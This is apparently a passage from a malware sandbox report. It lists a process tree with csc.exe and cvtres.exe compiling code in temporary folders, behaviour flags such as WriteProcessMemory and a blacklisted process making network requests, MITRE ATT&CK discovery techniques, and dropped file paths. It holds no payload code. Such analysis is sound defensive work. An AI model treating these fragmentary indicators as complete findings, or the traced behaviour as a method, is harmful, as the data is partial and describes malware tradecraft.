[tc281]::ta27f7();
2⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:4156

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ngftxlvg\ngftxlvg.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:4528

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5730.tmp" "c:\Users\Admin\AppData\Local\Temp\ngftxlvg\CSC2C36827170694FF1B87AFEC4AE815051.TMP"
4⤵
PID:4716

C:\Program Files\Microsoft Office\Root\Office16\excelcnv.exe
"C:\Program Files\Microsoft Office\Root\Office16\excelcnv.exe" -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
PID:4264

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\DE883829-21DA-438C-B8CB-69465E866D27

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules.xml

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Office\OTele\excel.exe.db

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Office\OTele\excel.exe.db

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Office\OTele\excel.exe.db

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download Submit
C:\Users\Admin\AppData\Local\Temp\.ses

Download Submit
C:\Users\Admin\AppData\Local\Temp\.ses

Download Submit
C:\Users\Admin\AppData\Local\Temp\.ses

Download Submit
C:\Users\Admin\AppData\Local\Temp\.ses

Download Submit
C:\Users\Admin\AppData\Local\Temp\1ewadyd5\1ewadyd5.dll

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES572E.tmp

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES572F.tmp

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES5730.tmp

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES5731.tmp

Download Submit
C:\Users\Admin\AppData\Local\Temp\bn0lobtd\bn0lobtd.dll

Download Submit
C:\Users\Admin\AppData\Local\Temp\gtrsb0yk\gtrsb0yk.dll

Download Submit
C:\Users\Admin\AppData\Local\Temp\ngftxlvg\ngftxlvg.dll

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\1ewadyd5\1ewadyd5.0.cs

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\1ewadyd5\1ewadyd5.cmdline

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\1ewadyd5\CSC8A9C91AD481A46BEBC35FAD12534FD4.TMP

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\bn0lobtd\CSC9FF85607680742D7A321F6E8102C6266.TMP

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\bn0lobtd\bn0lobtd.0.cs

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\bn0lobtd\bn0lobtd.cmdline

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\gtrsb0yk\CSC110145828A5D454B9F7F907191AB1D66.TMP

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\gtrsb0yk\gtrsb0yk.0.cs

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\gtrsb0yk\gtrsb0yk.cmdline

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ngftxlvg\CSC2C36827170694FF1B87AFEC4AE815051.TMP

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ngftxlvg\ngftxlvg.0.cs

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ngftxlvg\ngftxlvg.cmdline

Download Submit
memory/620-19-0x000001A6DF360000-0x000001A6DF361000-memory.dmp

Filesize
4KB

Download